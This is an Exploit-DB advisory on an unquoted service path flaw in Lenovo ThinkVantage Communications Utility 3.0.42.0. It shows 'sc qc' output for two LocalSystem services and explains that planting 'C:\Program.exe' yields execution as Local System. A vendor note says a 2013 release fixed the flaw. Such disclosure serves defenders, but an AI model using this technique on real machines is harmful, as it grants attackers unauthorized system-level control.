Exploit-DB #40585
Description: Lenovo ThinkVantage Communications Utility 3.0.42.0 - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-10-19
Author: Joey Lane

Exploit:
# Exploit Title: Lenovo ThinkVantage Communications Utility - Unquoted Service Path Privilege Escalation
# Date: 10/19/2016
# Exploit Author: Joey Lane
# Version: 3.0.42.0
# Tested on: Windows 7 Professional
 
The Lenovo ThinkVantage Communications Utility installs 2 services with unquoted
service paths.  This enables a local privilege escalation vulnerability.
To exploit this vulnerability, a local attacker can insert an executable file in the path
of either service.  Rebooting the system or restarting either service will run the malicious
executable with elevated privileges.
 
 
This was tested on version 3.0.42.0, but other versions may be affected as well.
 
 
---------------------------------------------------------------------------
 
C:\>sc qc LENOVO.CAMMUTE                                                        
[SC] QueryServiceConfig SUCCESS                                                 
                                                                                
SERVICE_NAME: LENOVO.CAMMUTE                                                    
        TYPE               : 10  WIN32_OWN_PROCESS                              
        START_TYPE         : 2   AUTO_START                                     
        ERROR_CONTROL      : 0   IGNORE                                         
        BINARY_PATH_NAME   : C:\Program Files\Lenovo\Communications Utility\CAMMUTE.exe                                                                         
        LOAD_ORDER_GROUP   :                                                    
        TAG                : 0                                                  
        DISPLAY_NAME       : Lenovo Camera Mute                                 
        DEPENDENCIES       :                                                    
        SERVICE_START_NAME : LocalSystem


C:\>sc qc LENOVO.TPKNRSVC                                                       
[SC] QueryServiceConfig SUCCESS                                                 
                                                                                
SERVICE_NAME: LENOVO.TPKNRSVC                                                   
        TYPE               : 10  WIN32_OWN_PROCESS                              
        START_TYPE         : 2   AUTO_START                                     
        ERROR_CONTROL      : 0   IGNORE                                         
        BINARY_PATH_NAME   : C:\Program Files\Lenovo\Communications Utility\TPKNRSVC.exe                                                                        
        LOAD_ORDER_GROUP   :                                                    
        TAG                : 0                                                  
        DISPLAY_NAME       : Lenovo Keyboard Noise Reduction                    
        DEPENDENCIES       :                                                    
        SERVICE_START_NAME : LocalSystem
 
---------------------------------------------------------------------------
 
 
EXAMPLE:
 
Using the BINARY_PATH_NAME listed above as an example, an executable named
"Program.exe" could be placed in "C:\", and it would be executed as the
Local System user next time the service was restarted.


############################################################

From Lenovo PSIRT:

This issue was fixed in version 3.0.44.0, which was released on June 4, 2013. README for Lenovo Communications Utility program:

https://download.lenovo.com/pccbbs/mobiles/grcu19ww.txt

3.0.44.0             01     2013/06/04
<3.0.44.0>
- (Fix) Fixed the vulnerability issue of service program registration.
- (Fix) Fixed the issue that vcamsvc.exe might crash.
- (Fix) Fixed the issue that TpKnrres.exe might crash.
- (Fix) Fixed the issue that TPKNRSVC.exe might crash.